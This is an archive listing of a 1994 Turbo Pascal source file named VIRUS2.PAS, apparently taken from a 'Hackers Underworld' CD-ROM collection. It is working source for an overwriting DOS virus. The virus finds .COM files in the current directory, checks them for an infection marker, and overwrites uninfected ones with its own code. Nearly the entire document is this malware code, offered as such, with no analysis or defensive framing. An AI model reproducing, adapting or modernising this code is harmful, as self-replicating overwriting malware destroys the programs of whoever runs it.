home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / VIRUS2.PAS < prev    next >
Pascal/Delphi Source File  |  1994-07-17  |  4KB  |  108 lines

  1.  
  2. {C-}
  3. {U-}
  4. {I-}       { Wont allow a user break, enable IO check}
  5.  
  6. { -- Constants --------------------------------------- }
  7.  
  8. Const
  9.      VirusSize = 12027;    {Number One's code size}
  10.  
  11.      Warning   :String[42]    {Warning message}
  12.      = '';
  13.  
  14. { -- Type declarations------------------------------------- }
  15.  
  16. Type
  17.      DTARec    =Record      {Data area for file search }
  18.      DOSnext  :Array[1..21] of Byte;
  19.                    Attr    : Byte;
  20.                    Ftime,
  21.                    FDate,
  22.                    FLsize,
  23.                    FHsize  : Integer;
  24.                    FullName: Array[1..13] of Char;
  25.                  End;
  26.  
  27. Registers    = Record    {Register set used for file search }
  28.    Case Byte of
  29.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  30.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  31.    End;
  32.  
  33. { -- Variables--------------------------------------------- }
  34.  
  35. Var
  36.                                { Memory offset program code }
  37.    ProgramStart : Byte absolute Cseg:$100;
  38.                                           { Infected marker }
  39.    MarkInfected : String[42] absolute Cseg:$180;
  40.    Reg          : Registers;                 { Register set }
  41.    DTA          : DTARec;                       { Data area }
  42.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  43.    TestID       : String[42]; { To recognize infected files }
  44.    UsePath      : String[66];        { Path to search files }
  45.                                     { Lenght of search path }
  46.    UsePathLenght: Byte absolute UsePath;
  47.    Go           : File;                    { File to infect }
  48.    B            : Byte;                              { Used }
  49.  
  50. { -- Program code------------------------------------------ }
  51.  
  52. Begin
  53.   WriteLn(Warning);               { Display warning message }
  54.   GetDir(0, UsePath);               { get current directory }
  55.   if Pos('\', UsePath) <> UsePathLenght then
  56.     UsePath := UsePath + '\';
  57.   UsePath := UsePath + '*.COM';        { Define search mask }
  58.   Reg.AH := $1A;                            { Set data area }
  59.   Reg.DS := Seg(DTA);
  60.   Reg.DX := Ofs(DTA);
  61.   MsDos(Reg);
  62.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  63.   Reg.AH := $4E;
  64.   Reg.DS := Seg(UsePath);
  65.   Reg.DX := Ofs(UsePath[1]);
  66.   Reg.CX := $ff;          { Set attribute to find ALL files }
  67.   MsDos(Reg);                   { Find first matching entry }
  68.   IF not Odd(Reg.Flags) Then         { If a file found then }
  69.     Repeat
  70.       UsePath := DTA.FullName;
  71.       B := Pos(#0, UsePath);
  72.       If B > 0 then
  73.       Delete(UsePath, B, 255);             { Remove garbage }
  74.       Assign(Go, UsePath);
  75.       Reset(Go);
  76.       If IOresult = 0 Then          { If not IO error then }
  77.       Begin
  78.         BlockRead(Go, Buffer, 2);
  79.         Move(Buffer[$80], TestID, 43);
  80.                       { Test if file already ill(Infected) }
  81.         If TestID <> Warning Then        { If not then ... }
  82.         Begin
  83.           Seek (Go, 0);
  84.                             { Mark file as infected and .. }
  85.           MarkInfected := Warning;
  86.                                                { Infect it }
  87.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  88.           Close(Go);
  89.                                   { Say what has been done }
  90.           WriteLn(UsePath + 'infected.');
  91.           Halt;                   {.. and halt the program }
  92.         End;
  93.         Close(Go);
  94.       End;
  95.         { The file has already been infected, search next. }
  96.       Reg.AH := $4F;
  97.       Reg.DS := Seg(DTA);
  98.       Reg.DX := Ofs(DTA);
  99.       MsDos(Reg);
  100.     {  ......................Until no more files are found }
  101.     Until Odd(Reg.Flags);
  102. { Write(`Smile') }                      {Give a smile }
  103. End.
  104.  
  105.  
  106. 
  107. Downloaded From P-80 International Information Systems 304-744-2253
  108.